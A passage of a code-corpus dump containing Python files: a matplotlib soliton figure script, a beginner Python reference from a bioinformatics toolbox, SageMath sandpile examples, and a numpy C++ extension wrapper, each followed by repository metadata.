'None',    # facecolor\n                ec = 'black',   # edgecolor\n                lw = 1,         # linewidth\n                ls = '--',      # linestyle\n                zorder = 100    # layering order\n                )\n    ax01.scatter(1.90, 0.4,  s=600,  lw=1, fc='None', ec='black', ls='--', zorder=100)\n    ax01.scatter(1.67, 1./3, s=600,  lw=1, fc='None', ec='black', ls='--', zorder=100)\n    ax01.scatter(1.23, 1./4, s=400,  lw=1, fc='None', ec='black', ls='--', zorder=100)\n    ax01.scatter(0.98, 1./5, s=400,  lw=1, fc='None', ec='black', ls='--', zorder=100)\n    ax01.scatter(0.83, 1./6, s=200,  lw=1, fc='None', ec='black', ls='--', zorder=100)\n\n    # -- add numbered circles\n    for idx, x0 in enumerate([0.59, 0.33, 0.1, 1.86, 1.64, 1.43, 1.23, 1.02, 0.82]):\n      set_circle(ax01, x0, 0.11, r\"$%d$\"%(idx+1))\n\n    # (4.1) SUBPLOT 1 - SET AXIS DETAILS\n    # -- customize x-axis\n    x_lim = (0,2)\n    x_ticks = (0,0.6,1.2,1.8)\n    ax01.tick_params(axis='x', length=3., pad=2, right=False)\n    ax01.set_xlim(x_lim)\n    ax01.set_xticks(x_ticks)\n    ax01.set_xlabel(r\"Normalized distance $x$\")\n\n    # -- customize y-axis\n    y_lim = (0.1,0.6)\n    y_ticks = (0.1,1./6, 1./5,1./4,0.3,1./3,0.4,0.5)\n    y_ticklabels = (r'$0.1\\,T_{\\mathrm{R}}$', r'$T_{\\mathrm{R}}/6$',\n                    r'$T_{\\mathrm{R}}/5$', r'$T_{\\mathrm{R}}/4$',\n                    r'$0.3\\,T_{\\mathrm{R}}$', r'$T_{\\mathrm{R}}/3$',\n                    r'$0.4\\,T_{\\mathrm{R}}$', r'$0.5\\,T_{\\mathrm{R}}$')\n    ax01.tick_params(axis='y', length=3., pad=2, top=False)\n    ax01.set_ylim(y_lim)\n    ax01.set_yticks(y_ticks)\n    ax01.set_yticklabels(y_ticklabels)\n    ax01.set_ylabel(r\"Normalized time $t$\")\n\n\n    # (3.2) SUBPLOT 2 - SET AXES CONTENTS\n\n    # -- trace path of 1st soliton in subfigure 1\n    x_idx = np.zeros(len(t), dtype=int)\n    a = np.zeros(len(t)); a[0]=1\n    mask = np.zeros(len(x)); mask[x<0.2]=1; mask[x>1.8]=1\n    for i in range(1,len(t)):\n       x_idx[i] = np.argmax(uxt[i]*mask)\n       a[i] = np.real(uxt[i,x_idx[i]])\n       s = np.min( [ np.abs(x_idx[i]-x_idx[i-1]), np.abs(x_idx[i]-x_idx[-1]+len(x))    ]  )\n       mask = np.roll(mask, s )\n\n    ax02.plot(a, t, color='black')\n\n    # -- highlight traced path of 1st soliton in subfigure 1\n    ax01.plot(x[x_idx][::20],t[::20],color='white', linewidth=0, marker='.', markersize=2)\n\n    # -- add auxiliary horizontal lines\n    for t0 in [0.5,1./3,1./4,1./5,1./6]:\n        ax02.axhline(y=t0, xmin=0., xmax=a[np.argmin(np.abs(t-t0))]/4.,  color='black', dashes=[2,2], linewidth=1)\n\n\n    # (4.2) SUBPLOT 2 - SET AXIS DETAILS\n    x_lim = (0,4)\n    x_ticks = (0,2,4)\n    ax02.tick_params(axis='x',length=3.,pad=1,top=False)\n    ax02.set_xlim(x_lim)\n    ax02.set_xticks(x_ticks)\n    ax02.set_xlabel(r'$A_{\\mathrm{S1}}$')\n\n    ax02.tick_params(axis='y',length=3.,pad=1,labelleft=False,right=False)\n    ax02.set_ylim(y_lim)\n    ax02.set_yticks(y_ticks)\n\n    ax02.spines['right'].set_visible(False)\n    ax02.spines['top'].set_visible(False)\n\n    ax02.text(1., 0.01, r'Amplitude of soliton no. 1',\n            horizontalalignment='center', verticalalignment='bottom',\n            rotation='vertical', transform=ax02.transAxes)\n\n\n    # -- add subfigure labels\n    ax01.text(-0.02, 1.01, r'(a)', fontsize=8,\n            horizontalalignment='right', verticalalignment='bottom',\n            transform=ax01.transAxes)\n    ax02.text(0.0, 1.01, r'(b)', fontsize=8,\n            horizontalalignment='left', verticalalignment='bottom',\n            transform=ax02.transAxes)\n\n    # (6) SAVE FIGURE\n    save_figure(fig_format, fig_name)\n\n\ndef main():\n    x, t, uxt = fetch_data('KdV_raw_data.npz')\n    generate_figure(x, t, uxt, fig_format='png', fig_name='fig02')\n\n\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "dde125d7374c1cfe06a019286c1c8f5e2c4c8b0d", "size": 15258, "ext": "py", "lang": "Python", "max_stars_repo_path": "pp_figure_02.py", "max_stars_repo_name": "omelchert/IQOSeminarWeek2020", "max_stars_repo_head_hexsha": "8ecdd9cbbc56fabbfa62b13bff0b4c1634c5a5dd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pp_figure_02.py", "max_issues_repo_name": "omelchert/IQOSeminarWeek2020", "max_issues_repo_head_hexsha": "8ecdd9cbbc56fabbfa62b13bff0b4c1634c5a5dd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pp_figure_02.py", "max_forks_repo_name": "omelchert/IQOSeminarWeek2020", "max_forks_repo_head_hexsha": "8ecdd9cbbc56fabbfa62b13bff0b4c1634c5a5dd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.3366834171, "max_line_length": 114, "alphanum_fraction": 0.5831039455, "include": true, "reason": "import numpy", "num_tokens": 4376, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.34864513533394575, "lm_q2_score": 0.1824255304737224, "lm_q1q2_score": 0.06360177376037779}}
{"text": "#!/usr/bin/env python3\r\n\r\nimport argparse\r\nimport os\r\nimport sys\r\n\r\n# you can import under an alias. the aliases here are widely used conventions\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt \r\nimport numpy as np\r\n\r\n\r\n# you can import a specific function from a module\r\nimport math\r\nfrom math import sqrt\r\n\r\ndef do_math():\r\n\ttwo = sqrt(4)\t\t\t\t# imported individually from math\r\n\tthree = math.factorial(2)\t\r\n\r\n\"\"\"PEP 8 \r\n\r\nPEP 8 is the universaly accepted Style Guide for Python Code.\r\nhttps://www.python.org/dev/peps/pep-0008/\r\n\r\n\r\nAdhere to it if you want your code to look like Python to other Python programmers.\r\n\"\"\"\r\n\r\ndef main(text, reps):\r\n\t\"\"\" Google Style Python Docstrings\r\n\t\r\n\tUtilities like sphinx can parse docstrings like this and turn them into nicely \r\n\tformatted .pdf, .html and other files. Different formats are common, and parsable\r\n\tby sphinx. Check the 'normal' Sphinx style docstrings and the NumPy style docstrings\r\n\tfor more info.\r\n\t\r\n\tArgs:\r\n        reps (int): Number of times text should be printed.\r\n        text (str): Text to be printed.\r\n\t\t\r\n\tReturns:\r\n\t\ttuple: parameters given as input.\r\n\t\t\r\n\tExamples:\t\r\n\t\tSimple test can be done with the 'Doctest' library.  Added benefit is that other\r\n\t\tprogrammers have an idea wath to expect from your code.\r\n\r\n\t\t>>> main(1, \"Hello, world!\")\r\n\t\t(1, \"Hello, world!\")\r\n\t\"\"\"\r\n\t\r\n\t# hopefully these function names are usable as table of content.\r\n\tempty_function_without_error()\r\n\tprint_to_stdout(text, reps)\r\n\tmake_a_dictionary()\r\n\tslice_a_list()\r\n\tformat_a_string()\r\n\tuse_comprehensions()\r\n\tread_and_write_a_file()\r\n\tmake_a_class()\r\n\tparse_with_biopython()\r\n\tdo_regex()\r\n\tuse_numpy_arrays()\r\n\tmake_a_matplotlib_figure()\r\n\tload_image_as_nulpy_matrix()\r\n\t\t\r\n\treturn(text, reps)\r\n\r\n\r\ndef empty_function_without_error():\r\n    \"\"\" empty function\"\"\"\r\n    pass\t# without 'pass' an empty function gives an error. usefull as placeholder.\r\n\t\r\n\t\r\ndef print_to_stdout(text, reps):\r\n\t\"\"\" Print text to stdout x times.\"\"\"\r\n\tfor i in range(reps): # use: range(size), range(begin, end) or range(begin, end, step_size)\r\n\t\tprint(text)\r\n\t\t\r\n\r\ndef make_a_dictionary():\r\n\t\"\"\" use dictcomprehesions for bigger/more complex dictionaries. \r\n\tsee: use_comprehensions()\r\n\t\"\"\"\r\n\t\r\n\t# Either use curly brackets...\r\n\ta_dict = {1:\"You do not talk about FIGHT CLUB.\",\r\n\t\t\t  2:\"You do not talk about FIGHT CLUB.\",\r\n\t\t\t  6:\"No shirts, no shoes.\"}\r\n\t\r\n\t# ...or use the dict() function with parameters...\t\r\n\tb_dict = dict(fruit=[\"apple\", \"orange\"], \r\n\t\t\t\t  vegetable=[\"courgette\"])\r\n\t\r\n\t# ...or give a list with tuples as input.\r\n\tc_dict = dict([(\"fruit\", [\"apple\", \"orange\"]),\r\n\t\t\t\t   (\"vegetable\", [\"courgette\"]  )])\r\n\t\r\n\t\r\n\t# print dicts using .values(), .keys() or .items()\r\n\tfor val in a_dict.values():\r\n\t\tprint(val) \r\n\t\r\n\tfor key in b_dict.keys():\r\n\t\tprint(key, b_dict[key]) \r\n\t\r\n\tfor key, val in c_dict.items():\r\n\t\tprint(key, val) \r\n\t\r\ndef slice_a_list():\r\n\tstring = \"World!Hello\"\r\n\t\r\n\ta_list = [string[6:],\t\t\t\t# slice strings by index\r\n\t\t\t  \"W\" + string[1:5]]\t\t# string + string = string \r\n\ta_list = a_list + [string[5]*3]\t\t# list + list = list \r\n\ta_list += [1]\t\t\t\t\t\t# you can mix ints and strings in one list.\r\n\t\r\n\t# join list entries in one string (but convert ints to string if necessary)\r\n\tnew_string = \" \".join([str(i) for i in a_list])\r\n\tprint(new_string)\r\n\t\r\ndef format_a_string():\r\n\t\"\"\"Use .format to format strings\r\n\t\r\n\t{<index>:<options>}\r\n\t\r\n\tExamples:\r\n\t\t>>> print(\"{0} {0} {1} {2:06.2f} {2:6.2f} {2:.2f} {2:2f}\".format(1, 1+1, 4.0/3.0))\r\n\t\t'1 1 2   1.33 001.33   1.33 1.33 1.333333'\r\n\t\"\"\"\r\n\tauto_formatted = \"{} {} {}\".format(1, 1+1, 4.0/3.0)\r\n\tformatted_with_options = \"{0} {0} {1} {2: 6.2f} {2:06.2f} {2:6.2f} {2:.2f} {2:2f}\".format(1, 1+1, 4.0/3.0)\r\n\tprint(auto_formatted, formatted_with_options)\r\n\t\r\n\t\r\ndef use_comprehensions():\r\n\t# the dict comprehension way\r\n\tinteger_list = range(10)\r\n\tbinary_list = [ bin(i) for i in integer_list ]\t\t\t# use functions within the comprehension\r\n\tzipped_list = zip(integer_list, binary_list )\t\t\t# zip two lists together (or unzip using list(zip(*zipped_list)) )\r\n\tbig_dict = {key: value for key, value in zipped_list }\r\n\t\r\n\t# the \"look at me\" all in one line way\r\n\toneliner_dict = {key: value for key, value in zip(range(10), [bin(i) for i in integer_list])}\r\n\t\r\n\tprint(big_dict == oneliner_dict) # true. meaning \"==\" checks for content not object id.\t\r\n\t\r\ndef read_and_write_a_file():\r\n\t\"\"\" opening, reading and writing files. \r\n\t\r\n\tThe 'with ... as ...' keywords are context managers. They are basicly a shorthand for \r\n\tpredefined \"try, catch, finaly\" statements. In case of open() they close they your file\r\n\tfor you.\r\n\t\"\"\"\r\n\tcwd = os.getcwd()\r\n\tfile1 = os.path.join(cwd, \"file1.txt\")\r\n\tfile2 = os.path.join(cwd, \"file2.txt\")\r\n\t\r\n\twith open(file1, \"a+\") as file:\t# a+ reads and appends to a file. \r\n\t\tfirst_line = file.readline()\r\n\t\tsecond_line = file.readline()\r\n\t\t\r\n\twith open(file1, \"r\") as f1, open(file1, \"w\") as f2: # opens two files at once. r = read mode, w = (over)write mode\r\n\t\tfor line in f1.readlines():\r\n\t\t\tf2.write(line)\r\n\t\r\n\t\r\nclass MyClass:\r\n\tdef __init__(self, a, b):\r\n\t\tself.a = a\r\n\t\tself.b = b\r\n\t\tself.my_method()\r\n\t\t\r\n\tdef my_method(self):\r\n\t\tself.c = self.a + self.b\r\n\t\t\r\n\r\nclass MySubClass(MyClass):\r\n\tdef __init__(self, a, b, d):\r\n\t\tif sys.version_info[0] < 3:\t\t\t# Check for python version. In case your university pc's are outdated... \r\n\t\t\tMyClass.__init__(self, a, b)\t# python 2\r\n\t\telse:\r\n\t\t\tsuper().__init__(a, b)\t\t\t# python 3\r\n\t\tself.d = d\r\n\t\r\n\t\r\ndef make_a_class():\r\n\tmy_class = MySubClass(1, 2, 4)\r\n\tprint(my_class.a, \r\n\t\t  my_class.b,\r\n\t\t  my_class.c,\r\n\t\t  my_class.d)\r\n\t\r\n\t\r\ndef parse_with_biopython():\r\n\t\"\"\"read the docs :)\r\n\r\n\thttps://biopython.org/DIST/docs/api/Bio.SeqIO-module.html\r\n\t\"\"\"\r\n\t# biopython is not available on (all) ku leuven pc's. Therefor not part of exam?\r\n\t### from Bio import SeqIO # Bio[!] not Biopython \r\n\t\r\n\t\r\ndef do_regex():\r\n\tfasta_file = \"\"\">gi|1348917|gb|G26685|G26685 human STS STS_D11734.\r\n\tCGGAGCCAGCGAGCATATGCTGCATGAGGACCTTTCTATCTTACATTATGGCTGGGAATCTTACTCTTTC\r\n\tATCTGATACCTTGTTCAGATTTCAAAATAGTTGTAGCCTTATCCTGGTTTTACAGATGTGAAACTTTCAA\r\n\tGAGATTTACTGACTTTCCTAGAATAGTTTCTCTACTGGAAACCTGATGCTTTTATAAGCCATTGTGATTA\r\n\tGGATGACTGTTACAGGCTTAGCTTTGTGTGAAANCCAGTCACCTTTCTCCTAGGTAATGAGTAGTGCTGT\r\n\tTCATATTACTNTAAGTTCTATAGCATACTTGCNATCCTTTANCCATGCTTATCATANGTACCATTTGAGG\r\n\tAATTGNTTTGCCCTTTTGGGTTTNTTNTTGGTAAANNNTTCCCGGGTGGGGGNGGTNNNGAAA\r\n\t>gi|1348917|gb|G26685|G26685 human STS STS_D11734.\r\n\tCGGAGCCAGCGAGCATATGCTGCATGAGGACCTTTCTATCTTACATTATGGCTGGGAATC\r\n\tTTACTCTTTCATCTGATACCTTGTTCAGATTTCAAAATAGTTGTAGCCTTATCCTGGTTT\r\n\tTACAGATGTGAAACTTTCAAGAGATTTACTGACTTTCCTAGAATAGTTTCTCTACTGGAA\r\n\tACCTGATGCTTTTATAAGCCATTGTGATTAGGATGACTGTTACAGGCTTAGCTTTGTGTG\r\n\tAAANCCAGTCACCTTTCTCCTAGGTAATGAGTAGTGCTGTTCATATTACTNTAAGTTCTA\r\n\tTAGCATACTTGCNATCCTTTANCCATGCTTATCATANGTACCATTTGAGGAATTGNTTTG\r\n\tCCCTTTTGGGTTTNTTNTTGGTAAANNNTTCCCGGGTGGGGGNGGTNNNGAAA\r\n\t\"\"\"\r\n\t\r\n\t\r\ndef use_numpy_arrays():\r\n\tA = np.array([[1, 2, 3],\r\n\t\t\t  [4, 5, 6],\r\n\t\t\t  [7, 8, 9]],\r\n\t\t\t  dtype=float)\r\n\tb = np.arange(9.0)\r\n\tB = np.reshape(b, (3, 3))\r\n\tC = np.full((3, 3), 3)\r\n\t\r\n\t# do some linear algebra\r\n\tprint(A.dot(B)) \t \r\n\tprint(np.transpose(A)) \r\n\tprint(np.linalg.inv(A))\r\n\tprint(np.linalg.svd(A))\r\n\t\r\n\t\r\ndef make_a_matplotlib_figure():\r\n\t#---------------------------------------------------------------------------\r\n\tmu = 2\r\n\tsigma =  0.5\r\n\tv = np.random.normal(mu,sigma,10000)\r\n\tplt.hist(v, bins=50) \r\n\tplt.show()\r\n\t#---------------------------------------------------------------------------\r\n\tx = np.linspace(0, 2, 100) # Return evenly spaced numbers over a specified interval.\r\n\tplt.plot(x, x, label='linear')\r\n\tplt.plot(x, x**2, label='quadratic')\r\n\tplt.plot(x, x**3, label='cubic')\r\n\tplt.xlabel('x label')\r\n\tplt.ylabel('y label')\r\n\tplt.title(\"Simple Plot\")\r\n\tplt.legend()\r\n\tplt.show()\r\n\t#---------------------------------------------------------------------------\r\n\tnp.random.seed(19680801)\r\n\tdata = np.random.randn(2, 100)\r\n\t\r\n\t# it not very 'pythonic' but you can assign two variables at once. \r\n\t# matplotlib kinda forces you here.\r\n\tfig, axs = plt.subplots(2,2,figsize=(5,5))\r\n\t\r\n\taxs[0,0].hist(data[0])\r\n\taxs[1,0].scatter(data[0], data[1])\r\n\taxs[0,1].plot(data[0], data[1])\r\n\taxs[1,1].hist2d(data[0], data[1])\r\n\tplt.show()\r\n\t\r\n\t\r\ndef load_image_as_nulpy_matrix():\r\n\t\"\"\" PIL - Python Image Library\r\n\t\r\n\tis not part of the Standard Library and not installed by default at KU Leuven pc's\r\n\t\"\"\"\r\n\tpass\r\n\t\r\n\r\ndef parseArgs():\r\n\t\"\"\" Parses arguments from commandline using the 'argparse' module.\r\n\t\r\n\tThe argparse module is part of the Python standard library, meaning that it is\r\n\tincluded in all python installations.\r\n\t\r\n\tExamples:\r\n\t\tpython .\\test.py 'Hello, world' -r 2\r\n\t\t\r\n\t\t>>> Hello, world\r\n\t\t>>> Hello, world\r\n\t\t\r\n\t\tpython .\\test.py 'Hello, world'\r\n\t\t\r\n\t\t>>> Hello, world\r\n\t\t\r\n\t\tpython .\\test.py -h\r\n\t\t\r\n\t\t>>> usage: test.py [-h] [-r [REPS]] text\r\n\t\t>>>\r\n\t\t>>> positional arguments:\r\n\t\t>>>   text\r\n\t\t>>>\r\n\t\t>>> optional arguments:\r\n\t\t>>>\t  -h, --help            show this help message and exit\r\n\t\t>>>   -r [REPS], --reps [REPS]\r\n\t\t>>>   \t\t\t\t\t\tspecify number of times text should be printed\r\n\t\"\"\"\r\n\tparser = argparse.ArgumentParser()\r\n\t# simple positional argument\r\n\t# parser.add_argument('text') \t\t\t\t\t\t\t\t\t# required by default\r\n\tparser.add_argument('-t', '--text') \t\t\t\t\t\t\t# required by default\r\n\t# more complex keyword argument\r\n\tparser.add_argument('-r', '--reps', type=int, required=False, \t# '-' and '--' indicate flags\r\n\t\tnargs='?', \t\t\t\t\t\t\t\t\t\t\t\t\t# nargs='?' means 0-1 arguments possible\r\n\t\tconst=1, \t\t\t\t\t\t\t\t\t\t\t\t\t# const=<...> gives a default value \r\n\t\thelp=\"specify number of times text should be printed\")\t\t# help text available from the commandline\r\n\t\r\n\targs = parser.parse_args()\r\n\tif args.reps is None or args.text is None:\r\n\t\treturn(\"text here\", 1)\r\n\telse:\r\n\t\treturn(args.text, args.reps)\r\n\r\n\"\"\" triggers if this scripts '__name__' is that of the '__main__' program.\r\nIn other words: This only triggers if the script is run directly and not by another \r\nscript. \r\n\"\"\"\r\nif __name__ == \"__main__\":\r\n\tmain(*parseArgs())\t\t\t\t\t\t\t\t\t\t\t\t# *<some iterable> unpacks a iterable\r\n", "meta": {"hexsha": "87f002567d7db35f27a13e6b91d111ef426ef7fe", "size": 10095, "ext": "py", "lang": "Python", "max_stars_repo_path": "python_reference.py", "max_stars_repo_name": "mariaTmaria/bioinformatics-toolbox", "max_stars_repo_head_hexsha": "c4092cb1a9cce0d484a5843538dc65b5afbcb110", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-09-27T08:31:17.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-27T08:31:17.000Z", "max_issues_repo_path": "python_reference.py", "max_issues_repo_name": "mariaTmaria/bioinformatics-toolbox", "max_issues_repo_head_hexsha": "c4092cb1a9cce0d484a5843538dc65b5afbcb110", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python_reference.py", "max_forks_repo_name": "mariaTmaria/bioinformatics-toolbox", "max_forks_repo_head_hexsha": "c4092cb1a9cce0d484a5843538dc65b5afbcb110", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.5909090909, "max_line_length": 117, "alphanum_fraction": 0.6522040614, "include": true, "reason": "import numpy", "num_tokens": 3087, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40733338565660016, "lm_q2_score": 0.1561049033345227, "lm_q1q2_score": 0.06358673879284743}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nExamples of Sandpile\n\nAUTHORS:\n\n- David Perkinson (2015-05) [Using `examples.py` from homology as\n  template.]\n\nThis file constructs some examples of Sandpiles.\n\nThe examples are accessible by typing ``sandpiles.NAME``, where\n``NAME`` is the name of the example.  You can get a list by typing\n``sandpiles.`` and hitting the TAB key::\n\n   sandpiles.Complete\n   sandpiles.Cycle\n   sandpiles.Diamond\n   sandpiles.Grid\n   sandpiles.House\n\nSee the documentation for each particular type of example for full details.\n\"\"\"\n\nfrom sage.sandpiles.sandpile import Sandpile\nfrom sage.graphs.graph_generators import graphs\n\nclass SandpileExamples(object):\n    \"\"\"\n    Some examples of sandpiles.\n\n    Here are the available examples; you can also type\n    ``sandpiles.``  and hit tab to get a list:\n\n    - :meth:`Complete`\n    - :meth:`Cycle`\n    - :meth:`Diamond`\n    - :meth:`Grid`\n    - :meth:`House`\n\n    EXAMPLES::\n\n        sage: s = sandpiles.Complete(4)\n        sage: s.invariant_factors()\n        [1, 4, 4]\n        sage: s.laplacian()\n        [ 3 -1 -1 -1]\n        [-1  3 -1 -1]\n        [-1 -1  3 -1]\n        [-1 -1 -1  3]\n    \"\"\"\n    def __call__(self):\n        r\"\"\"\n        If sandpiles() is executed, return a helpful message.\n\n        INPUT:\n\n        None\n\n        OUTPUT:\n\n        None\n\n        EXAMPLES::\n\n            sage: sandpiles()\n            Try sandpile.FOO() where FOO is in the list:\n            <BLANKLINE>\n                Complete, Cycle, Diamond, Fan, Grid, House, Wheel\n        \"\"\"\n        print 'Try sandpile.FOO() where FOO is in the list:\\n'\n        print \"    \" + \", \".join([str(i) for i in dir(sandpiles) if i[0]!='_'])\n\n    def Complete(self, n):\n        \"\"\"\n        The complete sandpile graph with `n` vertices.\n\n        INPUT:\n\n        -  ``n`` -- positive integer\n\n        OUTPUT:\n\n        - Sandpile\n\n        EXAMPLES::\n\n            sage: s = sandpiles.Complete(4)\n            sage: s.group_order()\n            16\n            sage: sandpiles.Complete(3) == sandpiles.Cycle(3)\n            True\n        \"\"\"\n        return Sandpile(graphs.CompleteGraph(n),0)\n\n    def Cycle(self, n):\n        \"\"\"\n        Sandpile on the cycle graph with `n` vertices.\n\n        INPUT:\n\n        -  ``n`` -- a non-negative integer\n\n        OUTPUT:\n\n        - Sandpile\n\n        EXAMPLES::\n\n            sage: s = sandpiles.Cycle(4)\n            sage: s.edges()\n            [(0, 1, 1),\n             (0, 3, 1),\n             (1, 0, 1),\n             (1, 2, 1),\n             (2, 1, 1),\n             (2, 3, 1),\n             (3, 0, 1),\n             (3, 2, 1)]\n        \"\"\"\n        return Sandpile(graphs.CycleGraph(n),0)\n\n    def Diamond(self):\n        \"\"\"\n        Sandpile on the diamond graph.\n\n        INPUT:\n\n        None\n\n        OUTPUT:\n\n        - Sandpile\n\n        EXAMPLES::\n\n            sage: s = sandpiles.Diamond()\n            sage: s.invariant_factors()\n            [1, 1, 8]\n        \"\"\"\n        return Sandpile(graphs.DiamondGraph(),0)\n\n\n    def Fan(self, n, deg_three_verts=False):\n        \"\"\"\n        Sandpile on the Fan graph with a total of `n` vertices.\n\n        INPUT:\n\n        -  ``n`` -- a non-negative integer\n\n        OUTPUT:\n\n        - Sandpile\n\n        EXAMPLES::\n\n            sage: f = sandpiles.Fan(10)\n            sage: f.group_order() == fibonacci(18)\n            True\n            sage: f = sandpiles.Fan(10,True)  # all nonsink vertices have deg 3\n            sage: f.group_order() == fibonacci(20)\n            True\n        \"\"\"\n        f = graphs.WheelGraph(n)\n        if n>2:\n            f.delete_edge(1,n-1)\n            if deg_three_verts:\n                f.allow_multiple_edges(True)\n                f.add_edges([(0,1),(0,n-1)])\n            return Sandpile(f,0)\n        elif n==1:\n            return Sandpile(f,0)\n        elif n==2:\n            if deg_three_verts:\n                return Sandpile({0:{1:3}, 1:{0:3}})\n            else:\n                return Sandpile(f,0)\n\n    def Grid(self, m, n):\n        \"\"\"\n        Sandpile on the diamond graph.\n\n        INPUT:\n\n        -  ``m``, ``n`` -- negative integers\n\n        OUTPUT:\n\n        - Sandpile\n\n        EXAMPLES::\n\n            sage: s = sandpiles.Grid(2,3)\n            sage: s.vertices()\n            [(0, 0), (1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3)]\n            sage: s.invariant_factors()\n            [1, 1, 1, 1, 1, 2415]\n            sage: s = sandpiles.Grid(1,1)\n            sage: s.dict()\n            {(0, 0): {(1, 1): 4}, (1, 1): {(0, 0): 4}}\n        \"\"\"\n        G = graphs.Grid2dGraph(m+2,n+2)\n        G.allow_multiple_edges(True)  # to ensure each vertex ends up with degree 4\n        V = [(i,j) for i in [0,m+1] for j in range(n+2)] + [(i,j) for j in [0,n+1] for i in range(m+2)]\n        G.merge_vertices(V)\n        return Sandpile(G, (0,0))\n\n    def House(self):\n        \"\"\"\n        Sandpile on the House graph.\n\n        INPUT:\n\n        None\n\n        OUTPUT:\n\n        - Sandpile\n\n        EXAMPLES::\n\n            sage: s = sandpiles.House()\n            sage: s.invariant_factors()\n            [1, 1, 1, 11]\n        \"\"\"\n        return Sandpile(graphs.HouseGraph(),0)\n\n    def Wheel(self, n):\n        \"\"\"\n        Sandpile on the wheel graph with a total of `n` vertices.\n\n        INPUT:\n\n        -  ``n`` -- a non-negative integer\n\n        OUTPUT:\n\n        - Sandpile\n\n        EXAMPLES::\n\n            sage: w = sandpiles.Wheel(6)\n            sage: w.invariant_factors()\n            [1, 1, 1, 11, 11]\n        \"\"\"\n        return Sandpile(graphs.WheelGraph(n),0)\n\nsandpiles = SandpileExamples()\n", "meta": {"hexsha": "5240d9515fcaf0f89e0cf4a9ff71f59849e1b78a", "size": 5511, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/sandpiles/examples.py", "max_stars_repo_name": "switzel/sage", "max_stars_repo_head_hexsha": "7eb8510dacf61b691664cd8f1d2e75e5d473e5a0", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/sandpiles/examples.py", "max_issues_repo_name": "switzel/sage", "max_issues_repo_head_hexsha": "7eb8510dacf61b691664cd8f1d2e75e5d473e5a0", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/sandpiles/examples.py", "max_forks_repo_name": "switzel/sage", "max_forks_repo_head_hexsha": "7eb8510dacf61b691664cd8f1d2e75e5d473e5a0", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-07-24T12:20:37.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-24T12:20:37.000Z", "avg_line_length": 22.044, "max_line_length": 103, "alphanum_fraction": 0.4877517692, "include": true, "reason": "from sage", "num_tokens": 1533, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.136608397056381, "lm_q1q2_score": 0.06350945845431132}}
{"text": "import numpy as np\nfrom . import algo1_ext\n\n# A wrapper function to call the C++ extension\n# It enables proper docstring\ndef cpp_multiply(data: np.ndarray, k: float) -> np.ndarray:\n    \"\"\"Multiple all elements by k\n\n    Args:\n        data (np.ndarray): 1d np.array of dtype=np.double\n        k (float): k\n\n    Returns:\n        np.ndarray: 1d np.array\n    \"\"\"\n    result = np.empty(data.size)\n    algo1_ext.multiply_by(data, result, k)\n    return result\n\n\ndef py_multiply(data: np.ndarray, k: float) -> np.ndarray:\n    return data * k", "meta": {"hexsha": "2f4726b96a126cf4e29a36133acc72a5e511c574", "size": 533, "ext": "py", "lang": "Python", "max_stars_repo_path": "extnp/algo/__init__.py", "max_stars_repo_name": "mgao6767/python-cpp-extension-numpy", "max_stars_repo_head_hexsha": "7a04e2b780f998921df4411ca8cad6958a8f03c3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-07-17T08:16:28.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-17T08:16:28.000Z", "max_issues_repo_path": "extnp/algo/__init__.py", "max_issues_repo_name": "mgao6767/python-cpp-extension-numpy", "max_issues_repo_head_hexsha": "7a04e2b780f998921df4411ca8cad6958a8f03c3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "extnp/algo/__init__.py", "max_forks_repo_name": "mgao6767/python-cpp-extension-numpy", "max_forks_repo_head_hexsha": "7a04e2b780f998921df4411ca8cad6958a8f03c3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.2272727273, "max_line_length": 59, "alphanum_fraction": 0.6529080675, "include": true, "reason": "import numpy", "num_tokens": 140, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814648038985, "lm_q2_score": 0.14608725262486594, "lm_q1q2_score": 0.06339915988331649}}
